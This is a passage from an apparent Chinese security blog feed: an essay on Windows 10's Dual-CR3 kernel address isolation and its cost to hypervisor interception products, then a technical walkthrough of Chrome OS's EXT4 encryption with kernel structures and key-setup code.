<content type="html"><![CDATA[<p>author : https://weibo.com/jfpan</p><p>  这是一篇随笔,Win10对虚拟化实施拦截的产品设的障碍越来越大,忍不住吐槽下。话说RS3改进PatchGuard的针对性很明显,但为什么昨天提到Dual-CR3呢?因为它虽对功能实现没什么影响,但对性能造成不小麻烦(实际上,虚拟化拦截类项目,其拦截功能本身的实现是非常简单的,而能否大规模产品化、商业化的根本核心难点与重点在于完美兼容性与极高实时性能的要求:1、兼容性——除去极端软件,即“用我时就别运行其他虚拟化或硬件相关程序”的软件——必须实现对GUEST展现实际CPU全部硬件特性且GUEST确实可使用这些特性,否则在一些场景一定有兼容问题。兼容性的一些入门测试有不少,比如虚拟化功能开启时运行vmware workstation在里面各跑一个32bit Guest和64bit Guest、跑一个Bluestacks模拟器玩玩Android游戏、给Intel CPU打一个微码补丁等等;2、性能的要求是几乎不造成性能下降,而#VMEXIT的性能损耗是巨大的,因此至少需要实现未嵌套工作时在支持unrestricted guest的CPU上几乎不产生#VMEXIT。这两点可探讨的细节和实例太多,就不写了,一个小广告——可参考360HVM)。 </p><p>  那么微软为什么要在RS4引入Dual-CR3,这要从内核地址空间随机化(KASLR)说起了,Win10 KASLR随机化了模块的加载基址、内核对象地址、页表地址等,缓解了内核漏洞的利用。不过之前微软对各种基于硬件的边信道攻击(double page fault、prefetch side-channel、TSX-based side-channel等等)依然是没有防护的,这次引入Dual-CR3至少目标中包含增加该种防护。学术圈对该类攻击和防御手段研究已经多时了,今年《KASLR is Dead: Long Live KASLR》这篇论文为Linux设计实现的内核地址隔离方案KAISER号称性能损失仅有0.28%,当初看到的时候只凭感觉每次系统调用都切换CR3、把非Global的TLB项清除(何况为了实现内核地址强隔离应该是没有Global项),这性能损失怎么会这么小(论文里倒是提供了一下解释:首先Global没什么用”Surprisingly, we found the performance impact of disabling global bits to be entirely negligible”;其次现代CPU对TLB管理的优化使得频繁切CR3也没什么大损失了)。没想到没几个月微软就直接在Win10上完全照搬了这套方案(不是每个进程都切换)。这套方案原理简单可行,参见附图一(论文附图)就一目了然了。微软在进程—_KPROCESS中增加了UserDirectoryTableBase配合原有DirectoryTableBase即提供论文中描述的CR3 Pair的内容。线程运行时,_KPRCB中的KernelDirectoryTableBase、RspBaseShadow、UserRspShadow、ShadowFlags用于模式转换时的隔离切换,需要加入的代码很少,附图二是Intel CPU的系统调用入口的代码,返回时自然也有相应的处理。 </p><p>  回到一开始,微软的强隔离对虚拟化拦截项目有什么影响呢?首先对一些拦截了MOV-CR3操作的情况乐子就大了,增加大量的#VMEXIT;其次微软仅保留映射了极少的内核页面在所谓Shadow address space中,比如KiSystemCall64Shadow需要被映射,但KiSystemCall64- KiSystemServiceUser都未被映射,更别说虚拟机在GUEST中的HOOK代码了。如果强制在GUEST中映射自己的代码,这相当不优美又对强隔离有所破坏且带来风险。有事要忙随笔先写到这里。 </p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>https://cmaurice.fr/pdf/essos17_gruss.pdf</p><h2 id="附图1"><a href="#附图1" class="headerlink" title="附图1"></a>附图1</h2><p><img src="/2017/12/rs4_dual_cr3/1.jpg" alt> </p><h2 id="附图2"><a href="#附图2" class="headerlink" title="附图2"></a>附图2</h2><p><img src="/2017/12/rs4_dual_cr3/2.jpg" alt> </p>]]></content>
<summary type="html">
<p>author : https://weibo.com/jfpan</p>
<p>&emsp;&emsp;这是一篇随笔,Win10对虚拟化实施拦截的产品设的障碍越来越大,忍不住吐槽下。话说RS3改进PatchGuard的针对性很明显,但为什么昨天提到Dual-CR3呢?因为它
</summary>
</entry>
<entry>
<title>Chrome OS基于EXT4 Encryption的用户数据安全保护机制</title>
<link href="http://yoursite.com/2017/10/ChromeOS-Userdata-Protection-Mechanism-Based-On-EXT4-Encryption/"/>
<id>http://yoursite.com/2017/10/ChromeOS-Userdata-Protection-Mechanism-Based-On-EXT4-Encryption/</id>
<published>2017-10-30T00:00:00.000Z</published>
<updated>2025-07-16T10:02:19.266Z</updated>
<content type="html">< 图一 EXT4 Encryption加/解密流程</center><p>图一中,在创建加密文件时通过get_random_bytes函数产生16 Bytes的随机数,将其做为nonce保存到文件的xattr属性中;当打开文件时取出文件的nonce和master key的描述,通过master key描述匹配到应用程序下发的master key;然后以nonce做为密钥,采用AES-128-ECB算法加密master key后产生derived key,加/解密文件时采用该derived key做为密钥,加密算法由用户通过ioctl下发并保存到xattr的”contents_encryption_mode”字段,目前版本仅支持AES-256-XTS;加/解密文件内容时调用kernel crypto API完成具体的加/解密功能。<br>  下面分别从EXT4 Encryption使用的数据结构、内核使能EXT4 Encryption功能、如何添加master key到keyring、如何开启EXT4 Encryption功能、创建和打开加密文件、读取和解密文件、加密和写入加密文件等方面详细叙述。</p><h2 id="EXT4-Encryption详述-回页首"><a href="#EXT4-Encryption详述-回页首" class="headerlink" title="EXT4 Encryption详述 回页首"></a>EXT4 Encryption详述 <a href="#top">回页首</a></h2><p><span id="EXT4-Encryption-detail"></span></p><h3 id="EXT4-Encryption的主要数据结构-回页首"><a href="#EXT4-Encryption的主要数据结构-回页首" class="headerlink" title="EXT4 Encryption的主要数据结构 回页首"></a>EXT4 Encryption的主要数据结构 <a href="#top">回页首</a></h3><p><span id="EXT4-Encryption-datastruct"></span></p><p>  通过数据结构我们可以窥视到EXT4 Encryption的密钥信息的保存和使用方式,非常有利于理解该加密技术。涉及到主要数据结构如下:<br>  master key的payload的数据表示如清单一所示,应用程序通过add_key系统调用将其和master key descriptor传入内核keyring。</p><h4 id="清单一-master-key"><a href="#清单一-master-key" class="headerlink" title="清单一 master key"></a>清单一 master key</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* This is passed in from userspace into the kernel keyring */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_encryption_key</span> {</span></span><br><span class="line"> __u32 mode;</span><br><span class="line"> <span class="keyword">char</span> raw[EXT4_MAX_KEY_SIZE];</span><br><span class="line"> __u32 <span class="built_in">size</span>;</span><br><span class="line">} __attribute__((__packed__));</span><br></pre></td></tr></table></figure><p>  EXT4 Encryption的文件加密信息的数据存储结构如清单二结构体struct ext4_encryption_context所示,每个文件都对应保存着这样的一个数据结构在其xattr中,包含了加密版本、文件内容和文件名的加密算法、旗标、master key descriptor和随机密钥nonce。</p><h4 id="清单二-加密信息存储格式"><a href="#清单二-加密信息存储格式" class="headerlink" title="清单二 加密信息存储格式"></a>清单二 加密信息存储格式</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Encryption context for inode</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Protector format:</span></span><br><span class="line"><span class="comment"> * 1 byte: Protector format (1 = this version)</span></span><br><span class="line"><span class="comment"> * 1 byte: File contents encryption mode</span></span><br><span class="line"><span class="comment"> * 1 byte: File names encryption mode</span></span><br><span class="line"><span class="comment"> * 1 byte: Reserved</span></span><br><span class="line"><span class="comment"> * 8 bytes: Master Key descriptor</span></span><br><span class="line"><span class="comment"> * 16 bytes: Encryption Key derivation nonce</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_encryption_context</span> {</span></span><br><span class="line"><span class="keyword">char</span> format;</span><br><span class="line"><span class="keyword">char</span> contents_encryption_mode;</span><br><span class="line"><span class="keyword">char</span> filenames_encryption_mode;</span><br><span class="line"><span class="keyword">char</span> flags;</span><br><span class="line"><span class="keyword">char</span> master_key_descriptor[EXT4_KEY_DESCRIPTOR_SIZE];</span><br><span class="line"><span class="keyword">char</span> nonce[EXT4_KEY_DERIVATION_NONCE_SIZE];</span><br><span class="line">} __attribute__((__packed__));</span><br></pre></td></tr></table></figure><p>  设置EXT4 Encryption开启是通过对特定目录进行EXT4_IOC_SET_ENCRYPTION ioctl完成,具体策略使用清单三所示的struct ext4_encryption_policy 数据结构进行封装,包括版本号、文件内容的加密算法、文件名的加密算法、旗标、master key descriptor。每个加密文件保存的ext4_encryption_context信息均继承自该数据结构,子目录继承父目录的ext4_encryption_context。</p><h4 id="清单三-Encryption-policy"><a href="#清单三-Encryption-policy" class="headerlink" title="清单三 Encryption policy"></a>清单三 Encryption policy</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Policy provided via an ioctl on the topmost directory */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_encryption_policy</span> {</span></span><br><span class="line"><span class="keyword">char</span> version;</span><br><span class="line"><span class="keyword">char</span> contents_encryption_mode;</span><br><span class="line"><span class="keyword">char</span> filenames_encryption_mode;</span><br><span class="line"><span class="keyword">char</span> flags;</span><br><span class="line"><span class="keyword">char</span> master_key_descriptor[EXT4_KEY_DESCRIPTOR_SIZE];</span><br><span class="line">} __attribute__((__packed__));</span><br><span class="line">`</span><br></pre></td></tr></table></figure><p>  open文件时将文件加密相关信息从xattr中读出并保存在清单四的struct ext4_crypt_info数据结构中,成员ci_ctfm用于调用kernel crypto,在文件open时做好key的初始化。从磁盘获取到加密信息后,将该数据结构保存到inode的内存表示struct ext4_inode_info中的i_crypt_info字段,方便后续的readpage、writepage时获取到相应数据进行加/解密操作。</p><h4 id="清单四-保存加-解密信息及调用接口的数据结构"><a href="#清单四-保存加-解密信息及调用接口的数据结构" class="headerlink" title="清单四 保存加/解密信息及调用接口的数据结构"></a>清单四 保存加/解密信息及调用接口的数据结构</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_crypt_info</span> {</span></span><br><span class="line"><span class="keyword">char</span>ci_data_mode;</span><br><span class="line"><span class="keyword">char</span>ci_filename_mode;</span><br><span class="line"><span class="keyword">char</span>ci_flags;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">crypto_ablkcipher</span> *<span class="title">ci_ctfm</span>;</span></span><br><span class="line"><span class="keyword">char</span>ci_master_key[EXT4_KEY_DESCRIPTOR_SIZE];</span><br><span class="line">};</span><br><span class="line">`</span><br></pre></td></tr></table></figure><p>  如清单五所示,采用struct ext4_crypto_ctx 表示在readpage、writepage时进行page加/解密的context。在writepage时因为涉及到cache机制,需要保存明文页,所以专门申请单独的bounce_page保存密文用于写入磁盘,用control_page来指向正常的明文页。在readpage时,通过bio从磁盘中读出数据到内存页,读页完成后通过queue_work的形式调用解密流程并将明文保存在当前页,因此context中存在work成员。另外,为了提高效率,在初始化阶段一次性申请了128个ext4_crypto_ctx的内存空间并通过free_list链表进行管理。</p><h4 id="清单五-用于表示加-解密page的context"><a href="#清单五-用于表示加-解密page的context" class="headerlink" title="清单五 用于表示加/解密page的context"></a>清单五 用于表示加/解密page的context</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_crypto_ctx</span> {</span></span><br><span class="line"><span class="keyword">union</span> {</span><br><span class="line"><span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">bounce_page</span>;</span> <span class="comment">/* Ciphertext page */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">control_page</span>;</span> <span class="comment">/* Original page */</span></span><br><span class="line">} w;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">bio</span> *<span class="title">bio</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">work_struct</span> <span class="title">work</span>;</span></span><br><span class="line">} r;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">list_head</span> <span class="title">free_list</span>;</span> <span class="comment">/* Free list */</span></span><br><span class="line">};</span><br><span class="line"><span class="keyword">char</span> flags; <span class="comment">/* Flags */</span></span><br><span class="line"><span class="keyword">char</span> mode; <span class="comment">/* Encryption mode for tfm */</span></span><br><span class="line">};</span><br><span class="line">`</span><br></pre></td></tr></table></figure><h3 id="使能EXT4-Encryption-回页首"><a href="#使能EXT4-Encryption-回页首" class="headerlink" title="使能EXT4 Encryption 回页首"></a>使能EXT4 Encryption <a href="#top">回页首</a></h3><p><span id="Enable-EXT4-Encryption"></span></p><p>  Linux kernel具有良好的模块化设计,EXT4 Encryption属于一个EXT4 FS中一个可选的模块,在编译kernel前需通过配置选项使能该功能,如下:<br>CONFIG_EXT4_FS_SECURITY=y<br>CONFIG_EXT4_FS_ENCRYPTION=y</p><h3 id="添加master-key的流程-回页首"><a href="#添加master-key的流程-回页首" class="headerlink" title="添加master key的流程 回页首"></a>添加master key的流程 <a href="#top">回页首</a></h3><p><span id="Add-Master-Key"></span></p><p>  将master key添加到内核keyring属于EXT4 Encryption的第一步,该步骤通过add_key系统调用完成,master key在不同的Linux发行版有不同的产生及保存方法,这里以Chrome OS为例。<br>  Chrome OS在cryptohomed守护进程中完成master key的获取和添加到keyring。因为兼容eCryptfs和EXT4 Encryption(为了跟Chrome OS保持一致,后续以Dircrypto代替EXT4 Encryption的称呼),而eCryptfs属于前辈,eCryptfs通过mount的方式完成加密文件的开启,为了保持一致性,cryptohomed同样是在mount的准备过程中解密出master key和开启Dircrypto,此master key即eCryptfs加密模式时用的FEK,master key descriptor即FEK的key signature,所以本节介绍Dircrypto流程时所谓的mount流程,望读者能够理解,在Dircrypto模式下,mount不是真正“mount”,千万不要混淆。cryptohomed的mount流程如下: </p><ol><li>cryptohomed在D-Bus上接收到持(包含用户名和密码)有效用户证书的mount请求,当然D-Bus请求也是有权限控制的; </li><li>假如是用户首次登陆,将进行:<br>a. 建立/home/.shadow/[salt_hash_of_username]目录,采用SHA1算法和系统的salt对用户名进行加密,生成salt_hash_of_username,简称s_h_o_u;<br>b. 生成vault keyset /home/.shadow/[salt_hash_of_username]/master.0和/home/.shadow/[salt_hash_of_username]/master.0.sum。master.0加密存储了包含有FEK和FNEK的内容以及非敏感信息如salt、password rounds等;master.0.sum是对master.0文件内容的校验和。 </li><li>采用通过mount请求传入的用户证书解密keyset。当TPM可用时优先采用TPM解密,否则采用Scrypt库,当TPM可用后再自动切换回使用TPM。cryptohome使用TPM仅仅是为了存储密钥,由TPM封存的密钥仅能被TPM自身使用,这可用缓解密钥被暴力破解,增强保护用户隐私数据的安全。TPM的首次初始化由cryptohomed完成。这里默认TPM可正常使用,其解密机制如下图二所示,其中:<br>UP:User Passkey,用户登录口令<br>EVKK:Ecrypted vault keyset key,保存在master.0中的”tpm_key”字段<br>IEVKK:Intermediate vault keyset key,解密过程生成的中间文件,属于EVKK的解密后产物,也是RSA解密的输入密文<br>TPM_CHK: TPM-wrapped system-wide Cryptohome key,保存在/home/.shadow/cryptohome.key,TPM init时加载到TPM<br>VKK:Vault keyset key<br>VK:Vault Keyset,包含FEK和FNEK<br>EVK:Encrypted vault keyset,保存在master.0里”wrapped_keyset”字段</li></ol><center>  图二 TPM解密VK的流程</center><p>图二中的UP(由发起mount的D-Bus请求中通过key参数传入)做为一个AES key用于解密EVKK,解密后得到的IEVKK;然后将IEVKK做为RSA的密文送入TPM,使用TPM_CHK做为密钥进行解密,解密后得到VKK;最后生成的VKK是一个AES key,用于解密master.0里的EVK,得到包含有FEK和FNEK明文的VK。经过三层解密,终于拿到关键的FEK,此FEK在Dircrypto模式下当做master key使用,FEK signature即做master key descriptor使用。<br>  最后通过add_key系统调用将master key及master key descriptor(在keyring中为了方便区分,master key descriptor由key sign加上前缀”ext4:”组成)添加到keyring,如下清单六代码所示</p><h4 id="清单六-Chrome-OS传入master-key的核心代码"><a href="#清单六-Chrome-OS传入master-key的核心代码" class="headerlink" title="清单六 Chrome OS传入master key的核心代码"></a>清单六 Chrome OS传入master key的核心代码</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">key_serial_t</span> <span class="title">AddKeyToKeyring</span><span class="params">(<span class="keyword">const</span> brillo::SecureBlob& key,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> brillo::SecureBlob& key_descriptor)</span> </span>{</span><br><span class="line"> <span class="comment">//参数中的key即是master key,key_descriptor即sig</span></span><br><span class="line"> <span class="keyword">if</span> (key.<span class="built_in">size</span>() > EXT4_MAX_KEY_SIZE ||</span><br><span class="line"> key_descriptor.<span class="built_in">size</span>() != EXT4_KEY_DESCRIPTOR_SIZE) {</span><br><span class="line"> LOG(ERROR) << <span class="string">"Invalid arguments: key.size() = "</span> << key.<span class="built_in">size</span>()</span><br><span class="line"> << <span class="string">"key_descriptor.size() = "</span> << key_descriptor.<span class="built_in">size</span>();</span><br><span class="line"> <span class="keyword">return</span> kInvalidKeySerial;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//在upstart中已经通过add_key添加dircrypt的会话keyring</span></span><br><span class="line"> <span class="keyword">key_serial_t</span> keyring = keyctl_search(</span><br><span class="line"> KEY_SPEC_SESSION_KEYRING, <span class="string">"keyring"</span>, kKeyringName, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (keyring == kInvalidKeySerial) {</span><br><span class="line"> PLOG(ERROR) << <span class="string">"keyctl_search failed"</span>;</span><br><span class="line"> <span class="keyword">return</span> kInvalidKeySerial;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//初始化struct ext4_encryption_key</span></span><br><span class="line"> ext4_encryption_key ext4_key = {};</span><br><span class="line"> ext4_key.mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;</span><br><span class="line"> <span class="built_in">memcpy</span>(ext4_key.raw, key.char_data(), key.<span class="built_in">size</span>());</span><br><span class="line"> ext4_key.<span class="built_in">size</span> = key.<span class="built_in">size</span>();</span><br><span class="line"> <span class="comment">//key_name就是最后的master key description,由”ext4:”+sig两部分组成</span></span><br><span class="line"> <span class="comment">//kernel在request_key时同样是将”ext4:”+sig两部分组成master key description</span></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> key_name = kKeyNamePrefix + base::ToLowerASCII(</span><br><span class="line"> base::HexEncode(key_descriptor.data(), key_descriptor.<span class="built_in">size</span>()));</span><br><span class="line"> <span class="comment">// kKeyType是“logon”,不允许应用程序获取密钥的内容</span></span><br><span class="line"> <span class="keyword">key_serial_t</span> key_serial = add_key(kKeyType, key_name.c_str(), &ext4_key,</span><br><span class="line"> <span class="keyword">sizeof</span>(ext4_key), keyring);</span><br><span class="line"> <span class="keyword">if</span> (key_serial == kInvalidKeySerial) {</span><br><span class="line"> PLOG(ERROR) << <span class="string">"Failed to insert key into keyring"</span>;</span><br><span class="line"> <span class="keyword">return</span> kInvalidKeySerial;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> key_serial;</span><br><span class="line">}</span><br><span class="line">`</span><br></pre></td></tr></table></figure><h3 id="Set-Encryption-Policy流程-回页首"><a href="#Set-Encryption-Policy流程-回页首" class="headerlink" title="Set Encryption Policy流程 回页首"></a>Set Encryption Policy流程 <a href="#top">回页首</a></h3><p><span id="Set-Encryption-Policy"></span></p><p>  通过对目标目录的文件描述符进行ioctl 的 EXT4_IOC_SET_ENCRYPTION_POLICY 操作即完成了EXT4 Encryption的加/解密功能的开启,该步骤在完成添加master key后进行,Chrome OS中的相关代码如下清单七所示,通过struct ext4_encryption_policy指定了策略的版本号、文件内容和文件名的加密算法、旗标、master key的识别描述符。</p><h4 id="清单七-Chrome-OS-set-encryption-policy的核心代码"><a href="#清单七-Chrome-OS-set-encryption-policy的核心代码" class="headerlink" title="清单七 Chrome OS set encryption policy的核心代码"></a>清单七 Chrome OS set encryption policy的核心代码</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">SetDirectoryKey</span><span class="params">(<span class="keyword">const</span> base::FilePath& dir,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> brillo::SecureBlob& key_descriptor)</span> </span>{</span><br><span class="line"> DCHECK_EQ(<span class="keyword">static_cast</span><<span class="keyword">size_t</span>>(EXT4_KEY_DESCRIPTOR_SIZE),</span><br><span class="line"> key_descriptor.<span class="built_in">size</span>());</span><br><span class="line"> <span class="comment">/*这里的dir代表要开启EXT4 Encryption的目录 */</span></span><br><span class="line"> <span class="function">base::ScopedFD <span class="title">fd</span><span class="params">(HANDLE_EINTR(<span class="built_in">open</span>(dir.value().c_str(),</span></span></span><br><span class="line"><span class="function"><span class="params"> O_RDONLY | O_DIRECTORY)))</span></span>;</span><br><span class="line"> <span class="keyword">if</span> (!fd.is_valid()) {</span><br><span class="line"> PLOG(ERROR) << <span class="string">"Ext4: Invalid directory"</span> << dir.value();</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">/*初始化struct ext4_encryption_policy对象 </span></span><br><span class="line"><span class="comment"> * 指定文件内容的加密算法是AES_256_XTS</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> ext4_encryption_policy policy = {};</span><br><span class="line"> policy.version = <span class="number">0</span>;</span><br><span class="line"> policy.contents_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;</span><br><span class="line"> policy.filenames_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_CTS;</span><br><span class="line"> policy.flags = <span class="number">0</span>;</span><br><span class="line"> <span class="comment">// key_descriptor即FEK 的key sig</span></span><br><span class="line"> <span class="built_in">memcpy</span>(policy.master_key_descriptor, key_descriptor.data(),</span><br><span class="line"> EXT4_KEY_DESCRIPTOR_SIZE);</span><br><span class="line"> <span class="comment">/*通过ioctl完成设置*/</span></span><br><span class="line"> <span class="keyword">if</span> (ioctl(fd.<span class="built_in">get</span>(), EXT4_IOC_SET_ENCRYPTION_POLICY, &policy) < <span class="number">0</span>) {</span><br><span class="line"> PLOG(ERROR) << <span class="string">"Failed to set the encryption policy of "</span> << dir.value();</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line">`</span><br></pre></td></tr></table></figure><p>  内核对EXT4_IOC_SET_ENCRYPTION_POLICY的ioctl在ext4_ioctl函数中完成响应,从应用程序中接收ext4_encryption_policy,解析其参数,若是首次对该目录进行加密设置则生成一个ext4_encryption_context 数据结构保存包括版本号、文件内容的加密算法、文件名的加密算法、旗标、master key descriptor、nonce在内的所有信息到目录对应inode的xattr中。从此开始,以该目录做为EXT Encryption加密的根目录,其下文件和子目录的除了nonce需要再次单独产生外,其余加密属性均继承自该目录。若非首次对该目录进行EXT4 Encryption设置,则重点比较当前设置是否与先前的设置一致。首先介绍首次设置的情形, ext4_ioctl的函数调用关系如图三所示。</p><center>  图三 首次进行EXT4 Encryption设置的函数调用关系</center><p>  应用程序进行ioctl系统调用经过VFS,最终调用ext4_ioctl函数,借助图三的函数调用可看到进行EXT4 Encryption policy设置时都进行了什么操作。首先判断目录所在的文件系统是否支持EXT4 Encryption操作,具体在ext4_has_feature_encrypt 函数中通过判断superblock的s_es->s_feature_incompat是否支持ENCRYPT属性;然后利用copy_from_user函数从用户空间拷贝ext4_encryption_policy到内核空间;紧接着在ext4_process_policy函数里将ext4_encryption_policy转换成ext4_encryption_context保存到inode的attr;最后将加密目录对应的inode的修改保存到磁盘。重点部分在ext4_process_policy函数,主要分三大步骤,第一步还是进行照例检查校验,包括:访问权限、ext4_encryption_policy的版本号、目标目录是否为空目录、目标目录是否已经存在ext4_encryption_context;第二步为目标目录生成ext4_encryption_context并保存到xattr;最后提交修改的保存请求。第一步的具体操作表现在函数操作上如下:<br>● inode_owner_or_capable() 完成DAC方面的权限检查<br>● 对ext4_encryption_policy的版本号version进行检查,当前仅支持版本0<br>● ext4_inode_has_encryption_context()尝试读取目标目录对应的inode的xattr的EXT4 Encryption字段”c”,看是否存在内容,若存在内容,则说明目标目录在先前已经进行过EXT4 Encryption设置<br>● S_ISDIR()校验目标目录是否真的是目录<br>● ext4_empty_dir()判断目标目录是否为空目录,在首次设置EXT4 Encryption时,仅支持对空目录进行操作。这点有别于eCryptfs,eCryptfs加密文件所在的目录下支持非加密和加密文件的同时存在;而EXT4 Encryption要么是全加密,要么是全非加密。<br>  第二步在ext4_create_encryption_context_from_policy函数中完成,具体如下:<br>● ext4_convert_inline_data()对inline data做处理<br>● ext4_valid_contents_enc_mode()校验ext4_encryption_policy的文件内容加密模式是否为AES_256_XTS,当前仅支持该算法的内容加密<br>● ext4_valid_filenames_enc_mode()校验ext4_encryption_policy的文件名加密模式是否为AES_256_CTS,当前仅支持该算法的内容名加密<br>● 对ext4_encryption_policy的flags做检验<br>● get_random_bytes()产生16 Bytes的随机数,赋值给ext4_encryption_context的nonce,其他如master key descriptor、flags、文件内容加密模式、文件名加密模式等值,从ext4_encryption_policy中获取,完成目标目录对应的ext4_encryption_context的初始化<br>● ext4_xattr_set()将用于目标目录的ext4_encryption_context保存到inode的xattr<br>● ext4_set_inode_flag()将目标目录对应inode的i_flags设置成EXT4_INODE_ENCRYPT,表明其属性。后续在文件open、read、write时通过该标志进行判断<br>  最后使用ext4_journal_start、ext4_mark_inode_dirty、ext4_journal_stop等函数完成xattr数据回写到磁盘的请求。<br>  若非首次对目标目录进行EXT4 Encryption设置,请流程如图四所示,通过ext4_xattr_get函数读取对应inode的xattr的EXT4 Encryption字段”c”对应的内容,即保存的ext4_encryption_context,将其与ext4_encryption_policy的相应值进行对比,若不一致返回-EINVAL。 </p><center>  图四 非首次进行EXT4 Encryption设置的函数调用关系</center><p>  相比eCryptfs,此EXT4_IOC_SET_ENCRYPTION_POLICY的ioctl的作用类似eCryptfs的”mount –t ecryptfs ”操作。</p><h3 id="creat-file流程-回页首"><a href="#creat-file流程-回页首" class="headerlink" title="creat file流程 回页首"></a>creat file流程 <a href="#top">回页首</a></h3><p><span id="EXT4-Encryption-file-creat"></span></p><p>  creat file流程特指应用程序通过creat()函数或open( , O_CREAT, )在已经通过EXT4_IOC_SET_ENCRYPTION_POLICY ioctl完成EXT4 Encryption设置的目录下新建普通文件的过程。希望通过介绍该过程,可以帮助读者了解如何创建加密文件,如何利用master key和nonce生成derived key。<br>  应用程序使用creat()函数通过系统调用经由VFS,在申请到fd、初始化好nameidata 、struct file等等之后利用ext4_create()函数完成加密文件的创建,函数调用关系如图五所示。<br>  创建加密文件的核心函数ext4_create()的函数调用关系如图六所示,函数主要功能是创建ext4 inode节点并初始化,这里只关注EXT4 Encryption部分。在创建时首先判断其所在目录inode的i_flags是否已经被设置了EXT4_INODE_ENCRYPT属性(该属性在EXT4_IOC_SET_ENCRYPTION_POLICY ioctl或者在EXT4 